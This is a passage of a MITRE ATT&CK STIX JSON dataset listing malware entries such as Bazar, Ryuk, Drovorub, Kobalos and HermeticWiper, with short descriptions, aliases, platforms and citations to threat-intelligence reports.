Sangrattanapitak"],"x_mitre_aliases":["Tarrask"],"type":"malware","id":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","created":"2022-06-01T17:01:32.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1011","external_id":"S1011"},{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0155","external_id":"S0155"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","name":"WINDSHIELD","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Drovorub"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--99164b38-1775-40bc-b77b-a2373b14540a","type":"malware","created":"2020-08-25T18:05:14.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0502","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0502"},{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-09-18T20:55:03.153Z","name":"Drovorub","description":"[Drovorub](https://attack.mitre.org/software/S0502) is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by [APT28](https://attack.mitre.org/groups/G0007).(Citation: NSA/FBI Drovorub August 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:08:18.570Z","name":"Shark","description":"[Shark](https://attack.mitre.org/software/S1019) is a backdoor malware written in C# and .NET that is an updated version of [Milan](https://attack.mitre.org/software/S1015); it has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least July 2021.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Shark"],"type":"malware","id":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","created":"2022-06-10T19:45:53.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1019","external_id":"S1019"},{"source_name":"Accenture Lyceum Targets November 2021","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns"},{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-04T19:42:13.073Z","name":"Bazar","description":"[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_contributors":["Cybereason Nocturnus, @nocturnus"],"x_mitre_aliases":["Bazar","KEGTAP","Team9","Bazaloader"],"type":"malware","id":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","created":"2020-11-18T19:07:48.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0534","external_id":"S0534"},{"source_name":"Team9","description":"(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)"},{"source_name":"KEGTAP","description":"(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: CrowdStrike Wizard Spider October 2020)"},{"source_name":"Bazaloader","description":"(Citation: Microsoft Ransomware as a Service)"},{"source_name":"Cybereason Bazar July 2020","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020.","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"NCC Group Team9 June 2020","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T21:06:18.500Z","name":"PULSECHECK","description":"[PULSECHECK](https://attack.mitre.org/software/S1108) is a web shell written in Perl that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) companies.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","x_mitre_platforms":["Network","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["PULSECHECK"],"type":"malware","id":"malware--9a097d18-d15f-4635-a4f1-189df7efdc40","created":"2024-02-08T18:30:54.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1108","external_id":"S1108"},{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"x_mitre_aliases":["Kobalos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","type":"malware","created":"2021-08-24T18:56:35.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0641","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0641"},{"source_name":"Kobalos","description":"(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)"},{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-25T17:16:21.187Z","name":"Kobalos","description":"[Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BadPatch"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","type":"malware","created":"2019-01-29T21:33:34.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0337","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0337"},{"source_name":"BadPatch","description":"(Citation: Unit 42 BadPatch Oct 2017)"},{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2020-03-17T00:22:32.796Z","name":"BadPatch","description":"[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MESSAGETAP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","type":"malware","created":"2020-05-11T21:41:19.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0443","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0443"},{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.282Z","name":"MESSAGETAP","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) is a data mining malware family deployed by [APT41](https://attack.mitre.org/groups/G0096) into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. (Citation: FireEye MESSAGETAP October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RATANKBA"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0241","url":"https://attack.mitre.org/software/S0241","source_name":"mitre-attack"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"},{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"}],"modified":"2020-09-02T18:46:32.365Z","name":"RATANKBA","description":"[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-04T21:03:54.834Z","name":"SUGARDUMP","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) is a proprietary browser credential harvesting tool that was used by UNC3890 during the [C0010](https://attack.mitre.org/campaigns/C0010) campaign. The first known [SUGARDUMP](https://attack.mitre.org/software/S1042) version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.(Citation: Mandiant UNC3890 Aug 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["SUGARDUMP"],"type":"malware","id":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","created":"2022-09-21T21:02:02.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1042","external_id":"S1042"},{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SOUNDBITE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0157","external_id":"S0157"},{"source_name":"SOUNDBITE","description":"(Citation: FireEye APT32 May 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2020-03-30T18:11:45.403Z","name":"SOUNDBITE","description":"[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BADCALL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0245","external_id":"S0245"},{"source_name":"BADCALL","description":"(Citation: US-CERT BADCALL)"},{"url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","source_name":"US-CERT BADCALL"}],"modified":"2020-03-30T18:32:03.328Z","name":"BADCALL","description":"[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["hcdLoader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e","type":"malware","created":"2017-05-31T21:32:46.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0071","external_id":"S0071"},{"url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","source_name":"Dell Lateral Movement"}],"modified":"2020-03-30T18:36:37.734Z","name":"hcdLoader","description":"[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Nidiran","Backdoor.Nidiran"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe","created":"2017-05-31T21:33:09.842Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0118","url":"https://attack.mitre.org/software/S0118"},{"source_name":"Symantec Suckfly March 2016","url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates","description":"DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)","modified":"2022-04-15T16:27:20.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Nidiran","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MoonWind"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","type":"malware","created":"2017-05-31T21:33:27.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0149","external_id":"S0149"},{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-30T19:57:17.490Z","name":"MoonWind","description":"[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-09T18:11:35.634Z","name":"Ryuk","description":"[Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.4","x_mitre_contributors":["The DFIR Report, @TheDFIRReport","Matt Brenton, Zurich Insurance Group"],"x_mitre_aliases":["Ryuk"],"type":"malware","id":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","created":"2020-05-13T20:14:53.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0446","external_id":"S0446"},{"source_name":"Ryuk","description":"(Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) "},{"source_name":"Bleeping Computer - Ryuk WoL","description":"Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.","url":"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"CrowdStrike Ryuk January 2019","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"},{"source_name":"FireEye FIN6 Apr 2019","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Cryptoistic"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","type":"malware","created":"2020-08-10T14:26:12.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0498","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0498"},{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-18T15:36:30.748Z","name":"Cryptoistic","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) is a backdoor, written in Swift, that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032).(Citation: SentinelOne Lazarus macOS July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:22:04.078Z","name":"HermeticWiper","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Mayuresh Dani, Qualys","Harshal Tupsamudre, Qualys"],"x_mitre_aliases":["HermeticWiper","Trojan.Killdisk","DriveSlayer"],"type":"malware","id":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","created":"2022-03-25T18:30:08.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0697","external_id":"S0697"},{"source_name":"Trojan.Killdisk","description":"(Citation: CISA AA22-057A Destructive Malware February 2022)(Citation: Symantec Ukraine Wipers February 2022)"},{"source_name":"DriveSlayer","description":"(Citation: Crowdstrike PartyTicket March 2022)(Citation: Crowdstrike DriveSlayer February 2022)"},{"source_name":"CISA AA22-057A Destructive Malware February 2022","description":"CISA. (2022, February 26). Destructive Malware Targeting Organizations in Ukraine. Retrieved March 25, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-057a"},{"source_name":"Crowdstrike PartyTicket March 2022","description":"Crowdstrike. (2022, March 1). Decryptable PartyTicket Ransomware Reportedly Targeting Ukrainian Entities. Retrieved March 1, 2022.","url":"https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine"},{"source_name":"Qualys Hermetic Wiper March 2022","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware"},{"source_name":"ESET Hermetic Wiper February 2022","description":"ESET. (2022, February 24). HermeticWiper: New data wiping malware hits Ukraine. Retrieved March 25, 2022.","url":"https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine"},{"source_name":"SentinelOne Hermetic Wiper February 2022","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 